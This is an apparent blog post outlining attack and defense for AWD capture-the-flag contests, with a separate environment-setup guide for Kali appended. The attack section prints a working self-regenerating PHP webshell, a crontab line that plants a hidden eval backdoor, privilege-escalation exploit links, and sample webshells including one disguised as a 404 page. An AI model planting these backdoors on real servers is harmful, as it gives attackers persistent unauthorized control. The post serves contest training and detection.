(1)AWD入门攻略大纲

笔记目录


渗透测试工具(1)wireshark
渗透测试工具(2)Nmap
渗透测试工具(3)Burpsuite
AWD比赛(1)AWD入门攻略大纲

1.比赛介绍


(1)比赛环境

(2)常见服务器信息介绍

  • 比赛名称

  • 白名单:一般用于防止外部恶意攻击,如果赛方发现名单以外IP可能会进行封禁处理。

  • 服务器账号密码

  • Token和虚拟IP:token为提交答案的凭证,绑定了队伍;虚拟IP为靶机访问网址。

  • 其他选手地址:例如192-168-x-250.pvp923.bugku.cn,x可以是1-255内任一个数字,需要自己扫描可ping通ip并记录。

  • Flag提交区域

  • 提交脚本API:最好提前写好提交脚本

(3)题型

  • 主要题型为WEB和PWN,涉及语言多数为PHP,还有少量Java、Python。

  • WEB主要是一些CMS和框架安全漏洞,如注入、上传和反序列化等,更多是依赖已知漏洞。

(4)攻防思路

2.攻击思路


(1)信息收集(攻击)

①主机探测(nmap、httpscan)

  • 扫描C段存活主机

    

②端口探测(nmap)

  • 首先搜集自己端口信息 ,再类比扫描其他主机

    

③应用发现(代表性文件)

  • 组件发现 

  • 网站发现 

  • 日志发现

④备份扫描

https://github.com/sry309/ihoneyBakFileScan 多进程批量网站备份文件泄露扫描工具

https://github.com/maurosoria/dirsearch WEB网站目录扫描

(2)攻击主机端口

    https://github.com/vanhauser-thc/thc-hydra Hydra九头蛇

    https://github.com/shack2/SNETCracker 超级弱口令工具

    https://github.com/se55i0n/DBScanner 数据库爆破工具

 https://github.com/cwkiller/unauthorized-check 未授权检测工具

  • 字典参考:

    https://github.com/cpkkcb/fuzzDicts

    GitHub - TheKingOfDuck/fuzzDicts: Web Pentesting Fuzz 字典,一个就够了。

(3)攻击Web服务

    一般通过访问获取的端口就能访问到预设的WEB靶场,Web环境分为两种:

  • 已有漏洞框架:如Struts2各种漏洞等等,提前准备好工具扫出来

  • 出题人设计框架:分析WEB日志,学习其他选手攻击思路和漏洞利用过程

(4)权限提升

Linux 提权总结 - 腾讯云开发者社区-腾讯云 一般提权

https://github.com/SecWiki/linux-kernel-exploits 提权脚本

(5)权限维持

    拿到WEBSHELL后,需要维持权限!简单的WEBSHELL 一眼就会被识别,在AWD 中优先考虑种不死马、反弹 SHELL等留后门方式维持权限,以便后续刷 FLAG,再考虑提升权限。

  • 隐藏的文件读取(条件允许的话,将flag信息直接读取并返回到header头中,这样做不易被发现)

    

  • PHP不死马案例

<?php
ignore_user_abort(true); #客户机断开依旧执行
set_time_limit(0); #函数设置脚本最大执行时间。这里设置为0,即没有时间方面的限制。
unlink(__FILE__); 删除文件本身,以起到隐蔽自身的作用。
$file = '2.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .2.php');
usleep(5000);
}
  • 定时马案例

system('echo "* * * * * echo \"<?php if(md5(\\\\\\\\\$_POST[pass])==
\'7b7fdffef464019f7190d0384d5b3838\'){@eval(\\\\\\\\\$_POST[1]);} \" >/var/www/html/.index.php\n* * * * * chmod 777 /var/www/html/.index.php" | crontab;whoami');    

(6)快速得分

  • 编写Python脚本(后续补充)

  • CURL工具批量获取Flag后续补充

3.防御技术


(1)网站备份

    目的是防止修改源码出错,或被对手恶意删除源码,或快速恢复网站防止被裁判组check探测服务存活失败丢分。
    ①压缩文件
tar -cvf web.tar /var/www/html
zip -q -r web.zip /var/www/html 

 ②解压文件

tar -xvf web.tar -c /var/www/html
unzip web.zip -d /var/www/html

③备份到服务器
mv web.tar /tmp
mv web.zip /home/xxx

 ④本地上传下载文件
scp username@servername:/path/filename /tmp/local_destination #从服务器下载单个文件到本地
scp /path/local_filename username@servername:/path #从本地上传单个文件到服务器
scp -r username@servername:remote_dir/ /tmp/local_dir #从服务器下载整个目录到本地
scp -r /tmp/local_dir username@servername:remote_dir #从本地上传整个目录到服务器

(2)数据备份

    php网站数据库配置信息为 config.php/web.conf (待补充python和java)
①备份指定数据库
  mysqldump  u  username – p  password databasename  >  bak.sql
②备份所有数据库
    mysqldumpall -databases > bak.sql
③导入数据库
    mysqlu username – p password database < bak.sql

(3)信息收集(防御)

netstat -ano/-a #查看端口情况
uname -a #系统信息
ps -aux、ps -ef #进程信息
cat /etc/passwd #用户情况
ls /home/ #用户情况
id #用于显示用户ID,以及所属群组ID
find / -type d -perm -002 #可写目录检查
grep -r “flag” /var/www/html/ #查找默认FLAG

(4)口令更改

    信息搜集后,将未授权和弱口令问题及时修复,包括但不限于 服务器SSH口令、数据库口令和WEB服务口令(后台密码)
passwd username #ssh口令修改
set password for mycms@localhost = password('123'); #MySQL密码修改
find /var/www//html -path '*config*’ #查找配置文件中的密码凭证

(5)备份检查(防止备份被删除)

find /var/www/html/ -name "*.tar"
find /var/www/html/ -name "*.zip" 

(6)后门查杀(要不断监控)

    命令查看可疑文件:

find /var/www/html -name *.php -mmin -20 #查看最近20分钟修改文件
find ./ -name '*.php' | xargs wc -l | sort -u #寻找行数最短文件
grep -r --include=*.php '[^a-z]eval($_POST' /var/www/html #查包含关键字的php文件
find /var/www/html -type f -name "*.php" | xargs grep "eval(" |more

  • 一般查杀 河马WEBSHELL和D盾查杀
# phpwebshell
<?php @eval($_GET['cmd']); ?>
<?php @eval($_POST['cmd']); ?>
<?php @eval($_REQUESTS['cmd']); ?>

# jspwebshell
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

# aspwebshell
<%eval request ("cmd")%> 或 <% execute(request("cmd")) %>
  • 不死马查杀:杀进程后重启服务、写一个同名的文件夹和写一个sleep时间低于别人的马(或者写一个脚本不断删除别人的马)
<?php
system("kill -9 pid;rm -rf .shell.php"); #pid和不死马名称根据实际情况定
?>
  • 后门用户查杀:UID大于500的都是非系统账号,500以下的都为系统保留的账号,使用userdel -r username 完全删除账户
  • 其他查杀 部分后门过于隐蔽,可以使用 ls -al命令查看所有文件及文件修改时间和内容进行综合判断,进行删除。可以写脚本定时清理上传目录、定时任务和临时目录等
经典preg_replace伪装的404后门示例:
使用菜刀连接 密码:error

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>

<?php @preg_replace("/[pageerror]/e",$_POST['error'],"saft"); header('HTTP/1.1 404 Not Found');
?>
(7)关闭进程
ps -aux #查看进程
kill -9 pid #强制进程查杀 
(8)关闭端口
netstat -anp #查看端口
firewall-cmd --zone= public --remove-port=80/tcp –permanent #关闭端口
firewall-cmd –reload #重载防火墙 
(9)漏洞修复
    漏洞修复遵循保证服务不长时间宕机的情况下进行修复, 多使用安全过滤函数,能修复尽量修复,不能修复先注释或删除相关代码,但需保证页面显示正常。
     可以下载文件到本地进行修改后上传到服务器进行覆盖操作,也可以直接通过vim编辑器进行代码修复操作 ,恢复参考:
(10)文件监控
        文件监控能及时防止木马文件后门生成,及时防止删除丢失
(11)部署WAF
     比赛规则决定能否部署WAF和监控工具。WAF具有两面性,抵挡大部分攻击的同时, 可能因为某些函数无法使用导致服务宕机。WAF可以自己写,也可以使用如 安全狗等第三方WAF。
  • 常见PHP网站系统WAF添加路径:
DiscuzX2 \config\config_global.php

Wordpress \wp-config.php

Metinfo \include\head.php

PHPCMS V9 \phpcms\base.php

PHPWIND8.7 \data\sql_config.php

DEDECMS5.7 \data\common.inc.php
### Kali Linux 中 AWD 靶机环境的配置与搭建 #### 一、AWD 环境概述 AWD(Attack-Defense)是一种红蓝对抗模式的比赛形式,参赛者需要在比赛中既攻击对手又防御自己的服务。为了模拟真实的比赛场景,在本地环境中搭建 AWD 平台是一个重要的准备工作。 --- #### 二、基础环境准备 1. **安装必要的软件包** 在 Kali Linux 上更新系统并安装所需的工具: ```bash apt update && apt upgrade -y apt install openssh-server apache2 mysql-server php libapache2-mod-php git -y ``` 2. **禁用 Root 用户远程登录** 编辑 SSH 配置文件以提高安全性: ```bash sudo nano /etc/ssh/sshd_config ``` 将 `PermitRootLogin` 设置为 `no`[^1],保存退出后重启 SSH 服务: ```bash systemctl restart sshd ``` 3. **创建普通用户用于日常操作** 创建一个新的非特权用户来代替 root 登录: ```bash adduser awd_user usermod -aG sudo awd_user ``` --- #### 三、部署 Web 和数据库服务 1. **启动 Apache 和 MySQL 服务** 启动并设置开机自启: ```bash systemctl start apache2 systemctl enable apache2 systemctl start mysql systemctl enable mysql ``` 2. **初始化 MySQL 数据库** 使用安全脚本加强 MySQL 的默认配置: ```bash mysql_secure_installation ``` 输入密码并按照提示完成配置。 3. **测试 PHP 支持** 创建一个简单的 PHP 文件验证功能: ```php <?php echo "PHP is working!"; ?> ``` 将其放置到 `/var/www/html/index.php`,访问服务器 IP 地址确认显示正常。 --- #### 四、下载和配置 AWD 计分板 1. **获取计分板源码** 下载官方或其他可靠的 AWD 计分板项目: ```bash cd /opt/ git clone https://github.com/example/awd_scoreboard.git chown -R www-data:www-data awd_scoreboard chmod -R 755 awd_scoreboard ``` 2. **导入数据库结构** 导入 SQL 脚本来初始化数据库表: ```sql mysql -u root -p < /opt/awd_scoreboard/database.sql ``` 3. **修改配置文件** 打开计分板项目的配置文件调整参数: ```bash nano /opt/awd_scoreboard/config.php ``` 修改数据库连接字符串和其他选项。 4. **运行后台程序** 如果有额外的服务端逻辑(如 Flag 检测器),需单独运行它们: ```bash python3 flag_checker.py & ``` --- #### 五、网络和服务加固 1. **启用防火墙规则** 安装 UFW 工具管理防火墙策略: ```bash apt install ufw -y ufw allow ssh ufw allow http ufw allow https ufw enable ``` 2. **定期备份数据** 自定义 cron 任务定时备份重要目录和数据库: ```bash crontab -e ``` 添加如下条目: ```cron 0 0 * * * tar czf /backup/web_backup_$(date +\%F).tar.gz /var/www/html 0 1 * * * mysqldump -u root -pPASSWORD database_name | gzip > /backup/db_backup_$(date +\%F).gz ``` --- #### 六、实战练习资源推荐 对于初学者来说,可以通过以下方式提升技能水平: - 参考 CTFWiki 学习常见题型及其解决方案[^2]。 - 练习 BugKu 靶场中的入门级题目熟悉基本流程[^2]。 --- #### 总结 通过以上步骤可以在 Kali Linux 上成功构建一套完整的 AWD 靶机环境,包括但不限于 Web 应用、数据库管理系统以及自动化评分机制等功能模块。同时注意遵循最佳实践保障系统的稳定性和安全性。 ```python print("AWD Environment Setup Complete!") ```
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值